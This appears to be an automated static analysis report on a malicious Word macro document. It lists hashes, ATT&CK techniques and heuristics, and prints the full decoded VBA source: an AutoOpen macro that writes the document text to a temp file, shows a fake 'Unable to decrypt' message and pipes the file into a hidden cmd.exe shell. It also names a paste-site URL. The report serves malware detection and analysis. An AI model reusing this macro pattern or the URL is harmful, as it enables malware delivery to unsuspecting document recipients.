Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 e175c92140e47e1f…

MALICIOUS

Office (OOXML)

95.7 KB Created: 2021-05-11 04:05:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2021-10-16
MD5: c44fbd0a90fdca7067d1a6f3f4d1003e SHA-1: d0263bb51b2a96938a15b673247fbdb885bf6f6d SHA-256: e175c92140e47e1ff5fa843ed60eb77d3a0bc7811189d59e4701e4e787b0efd5
278 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1059.003 Windows Command Shell T1204.002 Malicious File

The sample contains VBA macros with an AutoOpen subroutine that attempts to save document content to a temporary file named 'things.txt'. It then executes a command using 'cmd.exe /c cmd < C:\Users\<user>\AppData\Local\Temp\things.txt', which likely downloads and executes a second-stage payload. The presence of 'cmd.exe reference in VBA' and 'Shell() call in VBA' heuristics, along with the AutoOpen macro, strongly indicates a downloader or dropper functionality.

Heuristics 9

  • ClamAV: Doc.Downloader.BlueMessage10210-9901548-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.BlueMessage10210-9901548-0
  • VBA project inside OOXML medium 4 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
        strr = "cmd < " & Directory
    Call Shell("cmd.exe /c " & strr, vbHide)
  • cmd.exe reference in VBA high OLE_VBA_CMD
    cmd.exe reference in VBA
    Matched line in script
        strr = "cmd < " & Directory
    Call Shell("cmd.exe /c " & strr, vbHide)
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Attribute VB_Name = "NewMacros"
Sub AutoOpen()
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)
    Matched line in script
        Dim tempFolderPath As String
    tempFolderPath = Environ("Temp")
  • Clipboard command execution lure high SE_CLIPBOARD_COMMAND_LURE
    Document tells the user to copy or paste clipboard content into Run, PowerShell, cmd, or another shell-like execution context
  • LOLBin token sequence in document text high SE_LOLBIN_RUN_COMMAND
    Extracted document text contains a Windows script/execution tool name (PowerShell, mshta, cmd, rundll32, regsvr32, …) within 220 characters of a dangerous flag, command verb, or URL. This is a visible 'run this' instruction in HTML/PDF/RTF lure bodies, or — in macro-laden Office files — the macro's own string-pool entries appearing adjacent in extracted text.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL https://paste.c-net.org/MookieBrush In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingCanvasIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/10/21/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/9/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/10/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/11/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/12/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/13/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/14/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/inkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2017/model3dIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2018/wordml/cexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2016/wordml/cidIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2018/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2020/wordml/sdtdatahashIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 1003 bytes
SHA-256: 60d5a56ac59c803644f6da3c0ea183575ea8585a4590888477a5c5962e6b79cc
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "NewMacros"
Sub AutoOpen()
    
    Dim tempFolderPath As String
    tempFolderPath = Environ("Temp")
    
    Dim Directory As String
    Directory = tempFolderPath & "\" & "things.txt"
    
    ActiveDocument.SaveAs FileName:=Directory, _
        FileFormat:=wdFormatEncodedText
        
    MsgBox ("Unable to decrypt")
    
    Ruske
    
End Sub

Sub Ruske()

    Dim tempFolderPath As String
    tempFolderPath = Environ("Temp")
    
    Dim Directory As String
    Directory = tempFolderPath & "\" & "things.txt"
    
    strr = "cmd < " & Directory
    Call Shell("cmd.exe /c " & strr, vbHide)
    
    ActiveDocument.Close (wdDoNotSaveChanges)

End Sub
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 9728 bytes
SHA-256: 5104fb52c1f0304c1a6867c5c63392a338b9dee76593d4ab10ae52d5df5e1cf1

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